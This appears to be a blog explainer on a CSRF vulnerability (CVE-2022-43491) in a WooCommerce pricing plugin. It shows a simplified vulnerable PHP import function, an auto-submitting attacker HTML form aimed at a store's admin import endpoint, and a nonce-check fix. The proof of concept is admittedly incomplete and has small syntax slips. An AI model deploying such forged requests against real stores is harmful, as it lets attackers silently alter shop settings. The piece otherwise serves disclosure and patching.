---

The digital landscape is filled with vulnerabilities, but some, like Cross-Site Request Forgery (CSRF), remain sneaky and dangerous. One such flaw emerged in the immensely popular Advanced Dynamic Pricing for WooCommerce plugin for WordPress, tracked as CVE-2022-43491. In this long-read, we’ll break down how this bug works, why it’s dangerous, and walk through a simple exploit scenario that could impact any WooCommerce store running version 4.1.5 or earlier.

What is CVE-2022-43491?

CVE-2022-43491 refers to a CSRF vulnerability in the "Advanced Dynamic Pricing for WooCommerce" plugin (version <= 4.1.5). This bug allows a remote attacker to import arbitrary plugin settings without any user interaction, as long as an authorized admin visits a malicious page.

Here’s how Wordfence describes it:

> _“The plugin did not implement CSRF checks on its plugin setting import feature, allowing an attacker to trick a logged-in admin into importing settings from an attacker-controlled source.”_

Why CSRF Is a Big Deal Here

CSRF works by tricking an authenticated user (often an administrator) into sending a request they didn’t intend. If the site doesn’t check if the request is legitimate, an attacker can make changes on behalf of the admin—including modifying critical plugin settings.

For WooCommerce, this could mean anything from changing pricing rules, disabling discounts, or even wrecking your online store's pricing logic.

Vulnerable function (simplified example)

// File: includes/Admin/Settings.php

public function import_settings() {
    // No nonce check for CSRF!
    if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['import_file'])) {
        $imported_settings = file_get_contents($_FILES['import_file']['tmp_name']);
        update_option('wdp_settings', json_decode($imported_settings, true));
    }
    // ... rest of the code
}

What's missing?
There’s no check_admin_referer() or nonce check. Anyone can POST to this endpoint, and if you’re logged in as admin, it “just works.”

Exploiting CVE-2022-43491 with a Simple HTML Page

Suppose our victim is a store admin, logged in and browsing the web. An attacker sends them a link or email with a hidden form, like this:

<!-- attacker.html -->
<form id="csrf" action="https://victimstore.com/wp-admin/admin.php?page=wdp-settings&tab=import"; method="POST" enctype="multipart/form-data">
  <input type="hidden" name="import_file" value="PHONYFILE.json">
</form>
<script>
  // Simulates file upload without user action
  document.getElementById('csrf').submit();
</script>

To fully exploit, an attacker might use JavaScript to craft a fake JSON file in the request body. But even without that, a more manual approach or social engineering could shepherd the attack through.

More Advanced CSRF (with file upload)

Using JavaScript, you could simulate a file upload via POST—though many browsers block it. But the key is, no user interaction is required besides visiting the page.

The Impact

- Price Rules Compromised: Attacker could import rules to discount expensive items, or jack prices for select users.

Store Chaos: Fake buy-one-get-one deals, everything free, or rules to break cart totals.

- Doorway to Further Exploits: If settings contain API keys or payloads, greater damage is imaginable.

How to Patch

If you’re a developer or site owner, upgrade the plugin IMMEDIATELY (version 4.1.6 or later). The fix is straightforward: Nonce/CSRF protection on all state-changing POST requests. For example:

// In the import_settings() function
if (
    !isset($_POST['_wpnonce']) ||
    !wp_verify_nonce($_POST['_wpnonce'], 'wdp_import_settings')
) {
    wp_die('CSRF check failed');
}

References

- Wordfence Advisory: CVE-2022-43491
- WPScan Vulnerability Database
- Plugin Homepage

How to Stay Safe

- Always Update Plugins: Don’t ignore update prompts. Security fixes come fast, and attackers move faster.

Final Thoughts

CVE-2022-43491 reminds us that even powerful WordPress tools can hide dangerous flaws. Always stay vigilant, and if you run an eCommerce store, keep your security fresh—the cost of one click can be devastating.


*Have you patched your WooCommerce plugin? Share your experience or questions in the comments below!*

Timeline

Published on: 11/08/2022 19:15:00 UTC
Last modified on: 11/09/2022 13:55:00 UTC